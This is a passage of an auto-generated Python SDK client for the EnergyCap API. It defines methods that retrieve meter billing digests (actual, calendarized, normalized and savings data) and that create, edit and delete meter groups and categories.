query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[MeterDigestActualAndCalendarizedMonthlyResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_meter_actual_monthly_list.metadata = {'url': '/api/v3/meter/digest/actual/monthly'}
def get_meter_actual_monthly(
self, meter_id, number_of_years=2, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up actual billing data for a given meter for a given
range of months- Result includes cost, use, unit cost on a monthly
basis.
:param meter_id: The identifier for the meter being retrieved
:type meter_id: int
:param number_of_years: Number of years of data to return includes the
current year - Defaults to two years of months (24 for actual and
savings, and 24 or 26 (if 13 accounting periods) for calendarized and
normalized)
:type number_of_years: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: MeterDigestActualAndCalendarizedMonthlyResponse or
ClientRawResponse if raw=true
:rtype:
~energycap.sdk.models.MeterDigestActualAndCalendarizedMonthlyResponse
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_meter_actual_monthly.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('MeterDigestActualAndCalendarizedMonthlyResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_meter_actual_monthly.metadata = {'url': '/api/v3/meter/{meterId}/digest/actual/monthly'}
def get_meter_calendarized_monthly_list(
self, number_of_years=2, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up calendarized billing data by meter for a given
range of months- Result includes cost, use, unit cost on a monthly
basis.
:param number_of_years: Number of years of data to return includes the
current year - Defaults to two years of months (24 for actual and
savings, and 24 or 26 (if 13 accounting periods) for calendarized and
normalized)
:type number_of_years: int
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype:
list[~energycap.sdk.models.MeterDigestActualAndCalendarizedMonthlyResponse]
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_meter_calendarized_monthly_list.metadata['url']
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[MeterDigestActualAndCalendarizedMonthlyResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_meter_calendarized_monthly_list.metadata = {'url': '/api/v3/meter/digest/calendarized/monthly'}
def get_meter_calendarized_monthly(
self, meter_id, number_of_years=2, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up calendarized billing data for a given meter for a
given range of months- Result includes cost, use, unit cost on a
monthly basis.
:param meter_id: The identifier for the meter being retrieved
:type meter_id: int
:param number_of_years: Number of years of data to return includes the
current year - Defaults to two years of months (24 for actual and
savings, and 24 or 26 (if 13 accounting periods) for calendarized and
normalized)
:type number_of_years: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: MeterDigestActualAndCalendarizedMonthlyResponse or
ClientRawResponse if raw=true
:rtype:
~energycap.sdk.models.MeterDigestActualAndCalendarizedMonthlyResponse
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_meter_calendarized_monthly.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('MeterDigestActualAndCalendarizedMonthlyResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_meter_calendarized_monthly.metadata = {'url': '/api/v3/meter/{meterId}/digest/calendarized/monthly'}
def get_meter_calendarized_trend(
self, meter_id, number_of_years=2, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up calendarized billing data for a given meter for a
given range of months- Result includes cost, use, unit cost on a
monthly basis.
:param meter_id: The identifier for the meter being retrieved
:type meter_id: int
:param number_of_years: Number of years of data to return includes the
current year - Defaults to two years of months (24 for actual and
savings, and 24 or 26 (if 13 accounting periods) for calendarized and
normalized)
:type number_of_years: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: MeterDigestCalendarizedTrendResponse or ClientRawResponse if
raw=true
:rtype: ~energycap.sdk.models.MeterDigestCalendarizedTrendResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_meter_calendarized_trend.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('MeterDigestCalendarizedTrendResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_meter_calendarized_trend.metadata = {'url': '/api/v3/meter/{meterId}/digest/calendarized/trend'}
def get_meter_normalized_monthly_list(
self, number_of_years=2, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up normalized billing data by meter for a given range
of months- Result includes cost, use, unit cost on a monthly basis.
:param number_of_years: Number of years of data to return includes the
current year - Defaults to two years of months (24 for actual and
savings, and 24 or 26 (if 13 accounting periods) for calendarized and
normalized)
:type number_of_years: int
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype:
list[~energycap.sdk.models.MeterDigestNormalizedMonthlyResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_meter_normalized_monthly_list.metadata['url']
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[MeterDigestNormalizedMonthlyResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_meter_normalized_monthly_list.metadata = {'url': '/api/v3/meter/digest/normalized/monthly'}
def get_meter_normalized_monthly(
self, meter_id, number_of_years=2, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up normalized billing data for a given meter for a
given range of months- Result includes cost, use, unit cost on a
monthly basis.
:param meter_id: The identifier for the meter being retrieved
:type meter_id: int
:param number_of_years: Number of years of data to return includes the
current year - Defaults to two years of months (24 for actual and
savings, and 24 or 26 (if 13 accounting periods) for calendarized and
normalized)
:type number_of_years: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: MeterDigestNormalizedMonthlyResponse or ClientRawResponse if
raw=true
:rtype: ~energycap.sdk.models.MeterDigestNormalizedMonthlyResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_meter_normalized_monthly.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('MeterDigestNormalizedMonthlyResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_meter_normalized_monthly.metadata = {'url': '/api/v3/meter/{meterId}/digest/normalized/monthly'}
def get_meter_savings_monthly_list(
self, number_of_years=2, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up savings billing data by meter for a given number of
years- Result includes cost and use savings on a monthly basis.
:param number_of_years: Number of years of data to return includes the
current year - Defaults to two years/24 months
:type number_of_years: int
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.MeterDigestSavingsMonthlyResponse]
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_meter_savings_monthly_list.metadata['url']
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[MeterDigestSavingsMonthlyResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_meter_savings_monthly_list.metadata = {'url': '/api/v3/meter/digest/savings/monthly'}
def get_meter_savings_monthly(
self, meter_id, number_of_years=2, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up savings billing data for a given meter for a given
number of years- Result includes cost and use savings on a monthly
basis.
:param meter_id: The identifier for the meter being retrieved
:type meter_id: int
:param number_of_years: Number of years of data to return includes the
current year - Defaults to two years/24 months
:type number_of_years: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: MeterDigestSavingsMonthlyResponse or ClientRawResponse if
raw=true
:rtype: ~energycap.sdk.models.MeterDigestSavingsMonthlyResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_meter_savings_monthly.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('MeterDigestSavingsMonthlyResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_meter_savings_monthly.metadata = {'url': '/api/v3/meter/{meterId}/digest/savings/monthly'}
def get_all_meter_groups(
self, filter=None, custom_headers=None, raw=False, **operation_config):
"""Gets a list of meter groups.
:param filter:
:type filter: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.GroupMeterGroupResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_all_meter_groups.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[GroupMeterGroupResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_all_meter_groups.metadata = {'url': '/api/v3/meterGroup'}
def create_meter_group(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Create a meter group.
:param body: Data representing the meter group being created
:type body: ~energycap.sdk.models.MeterGroupRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: GroupMeterGroupResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.GroupMeterGroupResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_meter_group.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'MeterGroupRequest')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('GroupMeterGroupResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_meter_group.metadata = {'url': '/api/v3/meterGroup'}
def get_meter_group(
self, meter_group_id, custom_headers=None, raw=False, **operation_config):
"""Gets a meter group.
:param meter_group_id:
:type meter_group_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: GroupMeterGroupResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.GroupMeterGroupResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_meter_group.metadata['url']
path_format_arguments = {
'meterGroupId': self._serialize.url("meter_group_id", meter_group_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('GroupMeterGroupResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_meter_group.metadata = {'url': '/api/v3/meterGroup/{meterGroupId}'}
def delete_meter_group(
self, meter_group_id, custom_headers=None, raw=False, **operation_config):
"""Delete a user-created meter group.
:param meter_group_id:
:type meter_group_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_meter_group.metadata['url']
path_format_arguments = {
'meterGroupId': self._serialize.url("meter_group_id", meter_group_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_meter_group.metadata = {'url': '/api/v3/meterGroup/{meterGroupId}'}
def edit_meter_group(
self, meter_group_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edit a meter group.
:param meter_group_id: Id of the group to edit
:type meter_group_id: int
:param body: Data representing the meter group being edited
:type body: ~energycap.sdk.models.MeterGroupRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: GroupMeterGroupResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.GroupMeterGroupResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_meter_group.metadata['url']
path_format_arguments = {
'meterGroupId': self._serialize.url("meter_group_id", meter_group_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'MeterGroupRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('GroupMeterGroupResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_meter_group.metadata = {'url': '/api/v3/meterGroup/{meterGroupId}'}
def get_meter_categories(
self, custom_headers=None, raw=False, **operation_config):
"""Gets a list of meter categories.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.MeterCategoryResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_meter_categories.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[MeterCategoryResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_meter_categories.metadata = {'url': '/api/v3/meterGroup/category'}
def create_meter_category(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Create a meter group category.
:param body: Data representing the meter group category being created
:type body: ~energycap.sdk.models.MeterCategoryRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: MeterCategoryResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.MeterCategoryResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_meter_category.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'MeterCategoryRequest')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('MeterCategoryResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_meter_category.metadata = {'url': '/api/v3/meterGroup/category'}
def get_meter_category(
self, category_id, custom_headers=None, raw=False, **operation_config):
"""Retrieve a meter group category.
:param category_id: The identifier for the meter group category being
retrieved
:type category_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: MeterCategoryResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.MeterCategoryResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_meter_category.metadata['url']
path_format_arguments = {
'categoryId': self._serialize.url("category_id", category_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('MeterCategoryResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_meter_category.metadata = {'url': '/api/v3/meterGroup/category/{categoryId}'}
def edit_meter_category(
self, category_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Update a meter group category.
:param category_id: Id of the category to update
:type category_id: int
:param body: Data to update the meter group category
:type body: ~energycap.sdk.models.MeterCategoryRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: MeterCategoryResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.MeterCategoryResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_meter_category.metadata['url']
path_format_arguments = {
'categoryId': self._serialize.url("category_id", category_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'MeterCategoryRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('MeterCategoryResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_meter_category.metadata = {'url': '/api/v3/meterGroup/category/{categoryId}'}
def delete_meter_category(
self, category_id, custom_headers=None, raw=False, **operation_config):
"""Delete a meter group category.
:param category_id: Id of the category to delete
:type category_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_meter_category.metadata['url']
path_format_arguments = {
'categoryId': self._serialize.url("category_id", category_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_meter_category.metadata = {'url': '/api/v3/meterGroup/category/{categoryId}'}
def get_meter_group_members(
self, group_id, always_limit_by_topmost=False, custom_headers=None, raw=False, **operation_config):
"""Gets a list of meter group members.
:param group_id:
:type group_id: int
:param always_limit_by_topmost:
:type always_limit_by_topmost: bool
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.MeterGroupMemberChild] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_meter_group_members.metadata['url']
path_format_arguments = {
'groupId': self._serialize.url("group_id", group_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if always_limit_by_topmost is not None:
query_parameters['alwaysLimitByTopmost'] = self._serialize.query("always_limit_by_topmost", always_limit_by_topmost, 'bool')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[MeterGroupMemberChild]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
